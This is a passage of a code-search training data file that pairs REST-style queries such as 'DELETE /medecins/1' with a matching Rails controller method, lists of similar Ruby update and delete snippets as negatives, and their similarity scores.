@client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @sinh_vien = SinhVien.find(params[:id])\n\n respond_to do |format|\n if @sinh_vien.update_attributes(params[:sinh_vien]) \n format.json { head :no_content }\n else \n format.json { render json: @sinh_vien.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @informe = Informe.find(params[:id])\n\n respond_to do |format|\n if @informe.update_attributes(params[:informe])\n format.html { redirect_to @informe, notice: 'Informe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @informe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @momsg = Momsg.find(params[:id])\n\n respond_to do |format|\n if @momsg.update_attributes(params[:momsg])\n format.html { redirect_to @momsg, notice: 'Momsg was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @momsg.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @me_re.update(me_re_params)\n format.html { redirect_to @me_re, notice: 'Me re was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @me_re.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meet = Meet.find(params[:id])\n\n respond_to do |format|\n if @meet.update_attributes(params[:meet])\n format.html { redirect_to @meet, notice: 'Meet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @metum = Metum.find(params[:id])\n\n respond_to do |format|\n if @metum.update_attributes(params[:metum])\n format.html { redirect_to @metum, notice: 'Metum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @metum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @metum.update(metum_params)\n format.html { redirect_to @metum, notice: 'Metum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @metum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @test_metum.update(test_metum_params)\n format.html { redirect_to @test_metum, notice: 'Test metum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_metum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @need.update(need_params)\n format.html { redirect_to needs_path, notice: 'Need was successfully updated.' }\n format.json { head :no_content }\n else\n @cabins = Cabin.all\n format.html { render action: 'edit' }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @mechenic.update(mechenic_params)\n format.html { redirect_to @mechenic, notice: 'Mechenic was successfully updated.' }\n format.json { render :show, status: :ok, location: @mechenic }\n else\n format.html { render :edit }\n format.json { render json: @mechenic.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end", "def patch(path, **args); end", "def update\n mk = connect_mikrotik\n respond_to do |format|\n\n \n @plan_old = @plan.as_json # Guarda os parâmetros antigos do registro para retornar caso não consiga mudar no mikrotik\n \n id = mk.get_reply(\"/ppp/profile/print\", \"?name=#{@plan.profile_name}\")[0][\".id\"]\n puts \"Id do registro a ser mudado\"\n puts id\n\n if @plan.update(plan_params)\n \n result = mk.get_reply(\"/ppp/profile/set\",\n \"=name=#{plan_params[\"profile_name\"]}\",\n \"=rate-limit=#{plan_params[\"rate_limit\"]}\",\n \"=.id=#{id}\")[0][\"message\"]\n\n @notice = 'Plan was successfully updated.'\n if result != nil\n @notice = \"It wasn't possible to update mikrotik\"\n @plan.update(@plan_old)\n end\n\n format.html { redirect_to @plan, notice: @notice }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rest\n @entry_instrument = EntryInstrument.find(params[:id])\n\n respond_to do |format|\n if @entry_instrument.update_attributes(params[:entry_instrument])\n flash[:notice] = 'EntryInstrument was successfully updated.'\n format.html { redirect_to(@entry_instrument) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_instrument.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @sin = Sin.find(params[:id])\n\n respond_to do |format|\n if @sin.update_attributes(params[:sin])\n format.html { redirect_to @sin, notice: 'Binge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sin.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n if params[:kid][:id]\n @kid = Kid.find(params[:kid][:id])\n else\n @kid = Kid.find_by_user_id_and_local_id(params[:kid][:user_id],params[:kid][:local_id])\n end\n params[:kid].delete(:user_id)\n params[:kid].delete(:id)\n if @kid.update_attributes(params[:kid])\n render json: @kid\n else\n render json: @kid.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @megalith.update(megalith_params)\n format.html { redirect_to @megalith, notice: \"Megalith was successfully updated.\" }\n format.json { render :show, status: :ok, location: @megalith }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @megalith.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n# respond_to do |format|\n# if @req.update(req_params)\n format.json { render :json => {:status => 'success'}}\n# format.html { redirect_to @req, notice: 'Req was successfully updated.' }\n# format.json { render :show, status: :ok, location: @req }\n# else\n format.json { render :json => {:status => 'failed'}}\n# format.html { render :edit }\n# format.json { render json: @req.errors, status: :unprocessable_entity }\n# end\n# end\n end", "def update\n puts \"update #{@need.as_json} #{updated_params.as_json}\"\n respond_to do |format|\n if @need.update(updated_params)\n puts \"brucep update success\"\n format.html { redirect_to new_need_path }\n format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @client_need = ClientNeed.find(params[:id])\n\n respond_to do |format|\n if @client_need.update_attributes(params[:client_need])\n format.html { redirect_to @client_need, notice: 'Client need was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_need.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @request = Request.find(params[:id])\n\n if @request.update(params[:request])\n head :no_content\n else\n render json: @request.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @smp_referenz.update(smp_referenz_params)\n format.html { redirect_to @smp_referenz, notice: 'Smp referenz was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @smp_referenz.errors, status: :unprocessable_entity }\n end\n end\n end", "def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend", "def update\n @my_ministry = MyMinistry.find(params[:id])\n\n respond_to do |format|\n if @my_ministry.update_attributes(params[:my_ministry])\n format.html { redirect_to @my_ministry, notice: 'My ministry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_ministry.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end", "def update\n respond_with []\n end", "def update!(**args)\n @client = args[:client] if args.key?(:client)\n @list_update_requests = args[:list_update_requests] if args.key?(:list_update_requests)\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update\n respond_to do |format|\n if @metodologia.update(metodologia_params)\n format.html { redirect_to @metodologia, notice: 'Metodologia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @metodologia.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @mint_coin = @coin.mint_coins.find(params[:id])\n\n respond_to do |format|\n if @mint_coin.update_attributes(params[:mint_coin])\n format.html { redirect_to coin_mint_coins_url([@coin]), :notice => 'Mint coin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @mint_coin.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @matome.update(matome_params)\n format.html { redirect_to @matome, notice: 'Matome was successfully updated.' }\n format.json { render :show, status: :ok, location: @matome }\n else\n format.html { render :edit }\n format.json { render json: @matome.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @matome.update(matome_params)\n format.html { redirect_to @matome, notice: 'Matome was successfully updated.' }\n format.json { render :show, status: :ok, location: @matome }\n else\n format.html { render :edit }\n format.json { render json: @matome.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @memento.update(memento_params)\n format.html { redirect_to @memento, notice: 'Memento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @memento.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @instrument_patch.update(instrument_patch_params)\n format.html { redirect_to @instrument_patch, notice: 'Instrument patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @instrument_patch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end", "def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @meupedido.update(meupedido_params)\n format.html { redirect_to @meupedido, notice: 'Meupedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @meupedido }\n else\n format.html { render :edit }\n format.json { render json: @meupedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n client=Client.find_by_id params[:id]\n if client!= nil\n client.cedula=params[:cedula] ? params[:cedula]: client.cedula\n client.sector=params[:sector] ? params[:sector]: client.sector\n client.nombre=params[:nombre] ? params[:nombre]: client.nombre\n client.telefono=params[:telefono] ? params[:telefono]: client.telefono\n client.pagina=params[:pagina] ? params[:pagina]: client.pagina\n client.direccion=params[:direccion] ? params[:direccion]: client.direccion\n if client.save\n render(json: client, status: 201)\n end \n else\n render(json: client.errors, status: 404)\n end \n end", "def update\n respond_to do |format|\n if @musing.update(musing_params)\n format.html { redirect_to @musing, notice: 'Musing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @musing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @observ.update(observ_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @observ.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @mensagem.update(mensagem_params)\n format.html { redirect_to @mensagem, notice: 'Mensagem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mensagem.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n put :update\n end", "def update\n @one = One.find(params[:id])\n\n respond_to do |format|\n if @one.update_attributes(params[:one])\n format.html { redirect_to @one, notice: 'One was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @one.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @testmonial = Testmonial.find(params[:id])\n\n if @testmonial.update(testmonial_params)\n head :no_content\n else\n render json: @testmonial.errors, status: :unprocessable_entity\n end\n end", "def update_rest\n @entry_answer = EntryAnswer.find(params[:id])\n\n respond_to do |format|\n if @entry_answer.update_attributes(params[:entry_answer])\n flash[:notice] = 'EntryAnswer was successfully updated.'\n format.html { redirect_to(@entry_answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :update, @mesasredonda\n @mesasredonda = Mesasredonda.find(params[:id])\n\n respond_to do |format|\n if @mesasredonda.update_attributes(params[:mesasredonda])\n format.html { redirect_to @mesasredonda, notice: 'Mesa redonda modificada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mesasredonda.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @muneco.update(muneco_params)\n format.html { redirect_to @muneco, notice: 'Muneco was successfully updated.' }\n format.json { render :show, status: :ok, location: @muneco }\n else\n format.html { render :edit }\n format.json { render json: @muneco.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meetup = Meetup.find(params[:id])\n\n respond_to do |format|\n if @meetup.update_attributes(params[:meetup])\n format.html { redirect_to @meetup, notice: 'Meetup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meetup.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def update\n @interest = Interest.find(params[:id])\n \n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.json { head :ok }\n else\n format.json { render :json => @interest.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n @supermarket = Supermarket.find(params[:id]) \n respond_to do |format|\n if @supermarket.update(supermarket_params)\n format.json { render json: @supermarket, status: :ok }\n end\n end\n end", "def update\n respond_to do |format|\n if @mueble.update(mueble_params)\n format.html { redirect_to @mueble, notice: 'Mueble was successfully updated.' }\n format.json { render :show, status: :ok, location: @mueble }\n else\n format.html { render :edit }\n format.json { render json: @mueble.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #respond_to do |format|\n # if @request.update(request_params)\n # format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: 'edit' }\n # format.json { render json: @request.errors, status: :unprocessable_entity }\n # end\n #end\n end", "def update\n respond_to do |format|\n if @enfermedade.update(enfermedade_params)\n format.html { redirect_to root_path, notice: 'Enfermedade was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @enfermedade.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @kemboi.update(kemboi_params)\n format.html { redirect_to @kemboi, notice: 'Kemboi was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kemboi.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n \n end\n end", "def update\n respond_to do |format|\n if @hack.update_attributes(params[:hack])\n format.html { redirect_to @event, :notices => ['Hack was successfully updated.'] }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @hack.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(request)\n end", "def update(request)\n end", "def update\n @mum = Mum.find(params[:mum_id])\n respond_to do |format|\n if @cousin.update(cousin_params)\n format.html { redirect_to mum_path(@mum), notice: 'Gen2 was successfully updated.' }\n format.json { render :show, status: :ok, location: @cousin }\n else\n format.html { render :edit }\n format.json { render json: @cousin.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @kishangarh_marble.update(kishangarh_marble_params)\n format.html { redirect_to @kishangarh_marble, notice: 'Kishangarh marble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kishangarh_marble.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cat_meme.update(cat_meme_params)\n format.html { redirect_to @cat_meme, notice: 'Cat meme was successfully updated.' }\n format.json { render :show, status: :ok, location: @cat_meme }\n else\n format.html { render :edit }\n format.json { render json: @cat_meme.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @medicine = Medicine.find(params[:id])\n debugger\n respond_to do |format|\n if (params[:medicine])\n medicine = params[:medicine]\n else\n # debugger\n medicine = {:name => params[:name], :specificDays => params[:specificDays], \n :canceledNotificationDate => params[:canceledNotificationDate], \n :daysOffset => params[:daysOffset],\n :isSpecificDays => params[:isSpecificDays], :secondHour => params[:secondHour],\n :daysOffsetStartDate => params[:daysOffsetStartDate], \n :firstHour => params[:firstHour]}\n end\n if @medicine.update_attributes(medicine)#params[:medicine])\n result = { \"opcode\" => 102, \"response\" => 200, \"medicine\" => @medicine }\n format.html { redirect_to @medicine, notice: 'Medicine was successfully updated.' }\n format.json { render json: result, status: :created, location: result }\n # format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @medicine.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @byoin = Byoin.find(params[:id])\n\n respond_to do |format|\n if @byoin.update_attributes(params[:byoin])\n format.html { redirect_to @byoin, notice: 'Byoin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @byoin.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @indication_for_meal.update(indication_for_meal_params)\n format.html { redirect_to @indication_for_meal, notice: 'Indication for meal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @indication_for_meal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @request_for_change.set_manager(force: true)\n @request_for_change.set_security_officer(force: true)\n\n respond_to do |format|\n if @request_for_change.update(request_for_change_params)\n format.html { redirect_to edit_request_for_change_path(@request_for_change), notice: 'Request for change was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_for_change.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #indication\n @method_of_use.disease_ids = params[:method_of_use][:disease_ids]\n @method_of_use.indication_ids = params[:method_of_use][:indication_ids]\n @method_of_use.contraindication_ids = params[:method_of_use][:contraindication_ids]\n\n respond_to do |format|\n if @method_of_use.update(method_of_use_params)\n\n format.html { redirect_to @method_of_use, notice: 'Метод использования успешно обновлён.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @method_of_use.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @responsavel = Responsavel.find(params[:id])\n\n if @responsavel.update(responsavel_params)\n head :no_content\n else\n render json: @responsavel.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @merma_insumo.update(merma_insumo_params)\n format.html { redirect_to @merma_insumo, notice: 'Merma insumo was successfully updated.' }\n format.json { render :show, status: :ok, location: @merma_insumo }\n else\n format.html { render :edit }\n format.json { render json: @merma_insumo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, :notice => 'Интересот е успешно ажуриран.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @interest.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @icome = Icome.find(params[:id])\n\n respond_to do |format|\n if @icome.update_attributes(params[:icome])\n format.html { redirect_to @icome, notice: 'Icome was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @icome.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: Post.update(params[\"id\"], params[\"post\"])\n end", "def update\n respond_to do |format|\n if @claim.update(claim_params)\n format.html { redirect_to @claim, notice: 'Claim was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @claim.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @aboutme.update(aboutme_params)\n format.html { redirect_to @aboutme, notice: 'Aboutme was successfully updated.' }\n format.json { render :show, status: :ok, location: @aboutme }\n else\n format.html { render :edit }\n format.json { render json: @aboutme.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.633141", "0.63071245", "0.61186534", "0.6110296", "0.59793305", "0.59716284", "0.59640163", "0.5931968", "0.59314394", "0.59307003", "0.5921034", "0.5916899", "0.5874112", "0.58535826", "0.58492523", "0.5841196", "0.58391744", "0.5839161", "0.58053637", "0.5801731", "0.5801067", "0.5791335", "0.57906777", "0.5772764", "0.5772338", "0.5762748", "0.5759381", "0.5759381", "0.5758378", "0.5750459", "0.5745036", "0.57434964", "0.5728152", "0.57216394", "0.57213163", "0.5720209", "0.57195216", "0.5714283", "0.57139", "0.5711529", "0.5711245", "0.57082886", "0.57070935", "0.5695573", "0.56941795", "0.5693721", "0.5691364", "0.5691364", "0.5691364", "0.5691364", "0.5689674", "0.5684282", "0.56836104", "0.56836104", "0.56793123", "0.56703985", "0.566811", "0.5666009", "0.5662446", "0.5660586", "0.56602734", "0.5658746", "0.56545746", "0.5649859", "0.56397635", "0.5637268", "0.5631224", "0.5627747", "0.5627584", "0.5624522", "0.56243426", "0.56243426", "0.5622596", "0.5621895", "0.5619633", "0.5617622", "0.56143504", "0.5608549", "0.56045645", "0.5600261", "0.55994624", "0.5595946", "0.5595492", "0.5595492", "0.5594328", "0.55916315", "0.5588628", "0.5588385", "0.55850327", "0.55833614", "0.5582321", "0.55823094", "0.5580318", "0.55793935", "0.55788296", "0.5575468", "0.55743647", "0.55738944", "0.55639696", "0.5560673" ]
0.6572781
0
DELETE /medecins/1 DELETE /medecins/1.json
def destroy @medecin.destroy respond_to do |format| format.html { redirect_to medecins_url, notice: 'Medecin was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n client.delete(\"/#{id}\")\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete\n request(:delete)\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def delete(*rest) end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @meme.destroy\n respond_to do |format|\n format.html { redirect_to memes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @metodo = Metodo.find(params[:id])\n @metodo.destroy\n\n respond_to do |format|\n format.html { redirect_to metodos_url }\n format.json { head :no_content }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "def delete(path)\n request(:delete, path)\n end", "def delete!\n Recliner.delete(uri)\n end", "def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end", "def delete(path)\n request 'DELETE', path\n end", "def delete(path)\n\t\trequest(path, :delete)\n\tend", "def destroy\n @mechon.destroy\n respond_to do |format|\n format.html { redirect_to mechons_url, notice: 'Mechon was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(path, data = {})\n self.class.delete path, :body => data.merge(:u => access_token)\n end", "def delete(options={})\n connection.delete(\"/\", @name)\n end", "def destroy\n @me_re.destroy\n respond_to do |format|\n format.html { redirect_to me_res_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sinh_vien = SinhVien.find(params[:id])\n @sinh_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end", "def destroy\n @diagnoz = Diagnoz.find(params[:id])\n @diagnoz.destroy\n\n respond_to do |format|\n format.html { redirect_to diagnozs_url }\n format.json { head :no_content }\n end\n end", "def delete\n \n end", "def destroy\n return if new_record?\n \n @api.delete \"/meetings/#{shortcode_url}.json\"\n end", "def destroy\n @meme.destroy\n respond_to do |format|\n format.html { redirect_to memes_url, notice: \"Meme was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @meme.destroy\n respond_to do |format|\n format.html { redirect_to memes_url, notice: 'Meme was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meuble = Meuble.find(params[:id])\n @meuble.destroy\n\n respond_to do |format|\n format.html { redirect_to meubles_url }\n format.json { head :no_content }\n end\n end", "def delete\n\n end", "def delete!\n request! :delete\n end", "def delete\n \n end", "def destroy\n @mensagem = Mensagem.find(params[:id])\n api_client.delete_object(@mensagem.post_id)\n @mensagem.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.js { head :ok }\n end\n end", "def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end", "def delete *args, &block\n res = @conn.delete *args, &block\n handle res, parse: false\n end", "def delete\n delete_from_server single_url\n end", "def destroy\n @midia.destroy\n\n respond_to do |format|\n format.html { redirect_to midias_url }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end", "def delete(*args)\n request(:delete, *args)\n end", "def destroy\n @megalith.destroy\n respond_to do |format|\n format.html { redirect_to megaliths_url, notice: \"Megalith was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_metum.destroy\n respond_to do |format|\n format.html { redirect_to test_meta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @secubat_client = SecubatClient.find(params[:id])\n @secubat_client.destroy\n\n respond_to do |format|\n format.html { redirect_to secubat_clients_url }\n format.json { head :ok }\n end\n end", "def destroy\n @momsg = Momsg.find(params[:id])\n @momsg.destroy\n\n respond_to do |format|\n format.html { redirect_to momsgs_url }\n format.json { head :ok }\n end\n end", "def destroy\n @metum = Metum.find(params[:id])\n @metum.destroy\n\n respond_to do |format|\n format.html { redirect_to meta_url }\n format.json { head 